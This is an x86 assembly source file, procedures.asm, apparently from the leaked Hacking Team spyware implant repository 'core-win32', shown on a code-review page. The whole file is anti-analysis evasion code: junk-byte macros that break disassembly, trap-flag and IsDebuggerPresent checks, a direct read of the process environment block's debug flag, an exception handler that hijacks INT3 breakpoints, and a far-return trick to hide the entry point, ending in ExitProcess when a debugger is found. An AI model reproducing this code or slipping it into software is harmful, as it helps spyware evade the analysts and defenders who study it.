hackedteam/core-win32

View on GitHub
procedures.asm

Summary

Maintainability
Test Coverage
.586p
.MODEL FLAT, stdcall
option casemap :none   ; case sensitive
include c:\masm32\include\windows.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\psapi.inc
.STACK
.DATA

.CODE

ASSUME fs:NOTHING

INCEAX MACRO
    db    0ebh, 0ffh, 0c0h
ENDM

PUSHEBP    MACRO
    db    0ebh, 0ffh, 0f5h
ENDM

TEST_TF MACRO param1
LOCAL dummy
    push        param1
    pushfd
    push        ss
    pop            ss
    pop            param1
    bt            param1, 8
    jnc            dummy
    mov            param1, ExitProcess
    push        param1
    push        dword ptr fs:[0]
    mov            dword ptr fs:[0], esp
    xor            param1, param1
    jmp            param1
dummy:
    pop            param1
ENDM

dll_status        dd    0

HIDING PROC
    PUSHEBP
    mov        ebp, esp
    nop
    nop
    jmp        @@1

@@1:
    pushf
    jmp        @@000
@@000:
    popf
    sub        esp, 10h
    ;int        03
    call    IsDebuggerPresent
    ;xor eax, eax
    push    eax
    fsetpm    ; garbage jmp
    TEST_TF    eax
    ;xor        eax, eax
    jmp        @@002
@@restore001:
    pop        dword ptr fs:[0]
    add        esp, 4
    jmp        @@3
@@002:
    push    offset INT03_Handler
    push    dword ptr fs:[0]
    mov        dword ptr fs:[0], esp
    
    ;mov        eax, offset InternalIsDebuggerPresent
    ;mov        dword ptr [eax], eax
    call    InternalIsDebuggerPresent
    jmp        @@restore001
@@3:
    ;xor        eax, eax
    push    eax
    xor        eax, eax
    INCEAX
    
    test    dword ptr [esp], eax
    jnz        @@2
    jz      @@2
    pop        eax
    push    1
    pop        eax
    test    dword ptr [esp], eax
    jnz        @@2
    ;pop        eax
@@DEBUG_SECTION:
    mov        eax, offset RealEntryPoint
    call    masquerade
masquerade:
    push    cs
    push    eax
    retf
@@2:
    xor            eax, eax
    mov            esp, ebp
    pop            ebp
    ret
    
RealEntryPoint    PROC
    call    @1
@1:
    pop        eax
    add        eax, 6
    ret
RealEntryPoint    ENDP
    nop
    jmp        Continue
    
Continue:
    ret
HIDING ENDP

INT03_Handler    PROC
    push        ebp
    mov            ebp, esp
    push        esi
    
    mov            esi, dword ptr [ebp+10h]
    xor            eax, eax
    mov            dword ptr [esi+04h], eax
    mov            dword ptr [esi+08h], eax
    mov            dword ptr [esi+0ch], eax
    mov            dword ptr [esi+10h], eax
    mov            dword ptr [esi+14h], eax
    mov            dword ptr [esi+18h], 155h

    mov            eax, dword ptr [esi+0b0h]    ; EAX
    call        eax     ; Invoke function
    mov            dword ptr [esi+0b0h], eax    ; Replace exit value
    mov            eax, dword ptr [esi+0b8h]
    cmp            byte ptr [eax], 0cch        ; CC ?
    jnz            @@001
    inc            dword ptr [esi+0b8h]        ; EIP = EIP +1
    jmp            @@100
@@001:
    cmp            word ptr [eax], 03cdh        ; EIP = EIP +1
    jnz            @@002
    inc            dword ptr [esi+0b8h]
    jmp            @@100
@@002:
    add            dword ptr [esi+0b8h], 2
    jmp            @@100
    mov            eax, offset ExitProcess
    mov            dword ptr [esi+0b8h], eax

@@100:    
    pop            esi
    mov            esp, ebp
    pop            ebp
    xor            eax, eax
    ret
INT03_Handler    ENDP

InternalIsDebuggerPresent PROC
    mov         eax, dword ptr fs:[18h]
    mov         eax, dword ptr [eax+30h]
    movzx         eax, byte ptr [eax+02h]
    ret
InternalIsDebuggerPresent ENDP

END